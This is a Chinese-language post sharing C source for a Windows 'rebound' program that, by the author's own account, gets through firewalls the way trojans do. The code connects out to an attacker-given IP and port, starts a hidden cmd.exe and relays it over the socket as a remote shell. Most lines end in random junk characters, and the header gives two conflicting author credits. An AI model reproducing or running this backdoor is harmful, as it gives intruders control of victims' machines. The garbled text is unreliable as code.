这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 =+e;BYD#!
`=TJw,q
/* ============================== S{cK~sZj
Rebound port in Windows NT h#h)=;
By wind,2006/7 ud(w0eX
===============================*/ en MHKN g
#include Zf)<)o*
#include >wV2` 6
++kVq$9@y
#pragma comment(lib,"wsock32.lib") O|;|7fCB\
6%VRQ#g!
void OutputShell(); ]xJ2;{JWsO
SOCKET sClient; J@Nq
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; K>+c2;t;
En+`ZcA\z
void main(int argc,char **argv) }g.)%Bw!
{ 0@!-+}i
WSADATA stWsaData; R*"zLJP
int nRet; &'5j!
SOCKADDR_IN stSaiClient,stSaiServer; 5X`m.lhUc
cTJG1'm
if(argc != 3) (
Qk*B
{ c}7Rt|`c
printf("Useage:\n\rRebound DestIP DestPort\n"); ]T<RC\o
return; :as2fO$?
} g dBH\K (\
a
' <B0'
WSAStartup(MAKEWORD(2,2),&stWsaData); ][Cg8
Cp-p7g0wlg
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); p-8x>dmP(
{NIE:MXX
stSaiClient.sin_family = AF_INET; ~<_PjV
stSaiClient.sin_port = htons(0); ~
Q;qRx
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); l;J B;0<s"
"CQ:<$|$
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 3}?]G8iL?L
{ ue6&)7:~
printf("Bind Socket Failed!\n"); *Q3q(rdrp
return; ^paM{'J\\)
} /9u12R*<
nrZZk QNI
stSaiServer.sin_family = AF_INET; A3e83g~L
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); XuW>GT/
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Pu]Pp`SP
n ^C"v6X
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) _E[)_yH'-
{ h1N{;SWQ
printf("Connect Error!"); SxRa?5
return; >]8H@. \
} :'gX//b):
OutputShell(); &14Er,K
} %,5_]bGvb
xCiq;FFR
void OutputShell() [lAZ)6E~=
{ 4}HY= 0Um
char szBuff[1024]; v+`gQXJ"G
SECURITY_ATTRIBUTES stSecurityAttributes; .37Jrh0Iv
OSVERSIONINFO stOsversionInfo; zC\L-i>G
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; !.5,RIf
STARTUPINFO stStartupInfo; 4T:@W C
char *szShell; e/!xyd
PROCESS_INFORMATION stProcessInformation; eN]9=Y~-K
unsigned long lBytesRead; w'D=K_h
dX~$#-Ad86
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 5@@ilvwzz
q vGkTE
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Ut^ {4_EC
stSecurityAttributes.lpSecurityDescriptor = 0; V> @+&q
stSecurityAttributes.bInheritHandle = TRUE; HO
=\
_0e;&2')
lK3Z}e*eXQ
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); (E?X@d iu
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); m&8'O\$
^NiS7 )FX
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); niJtgK:H^
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; iyf vcKO
stStartupInfo.wShowWindow = SW_HIDE; 3N 5b3F
stStartupInfo.hStdInput = hReadPipe; qUtlh,4)
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 7^Q4?(A
c'~6 1HA<
GetVersionEx(&stOsversionInfo);
UB1/0o
La'XJ|>V
switch(stOsversionInfo.dwPlatformId) 2i_k$-
{ %Y// }
case 1: 1|Z!8:&pj
szShell = "command.com"; .:=G=v=1
break; .+ g8zbD4
default: mXXU{IwUe
szShell = "cmd.exe"; g
O ;oM?|
break; &C=[D_h
} h#rziZ(
+&h<:/ V
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); vCS D1~V_
P<A_7Ho
send(sClient,szMsg,77,0); 2^$Ha|
while(1) `8D}\w<eI
{ &;Jg2f%.
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); <^8&2wAkJ
if(lBytesRead) GY,HEe]2r
{ &!5S'J%
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 9s'[p'[Z
send(sClient,szBuff,lBytesRead,0); HTU?hbG(
} ev;R; 0<
else (^).$g5Hg
{ e$ {Cf
lBytesRead=recv(sClient,szBuff,1024,0); 7$u}uv`j
if(lBytesRead<=0) break; B)}.%G*
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); -kz9KGkPb+
} U}2b{
} &;]KntxB
R-V4Ju[:
return; vhOX1'
}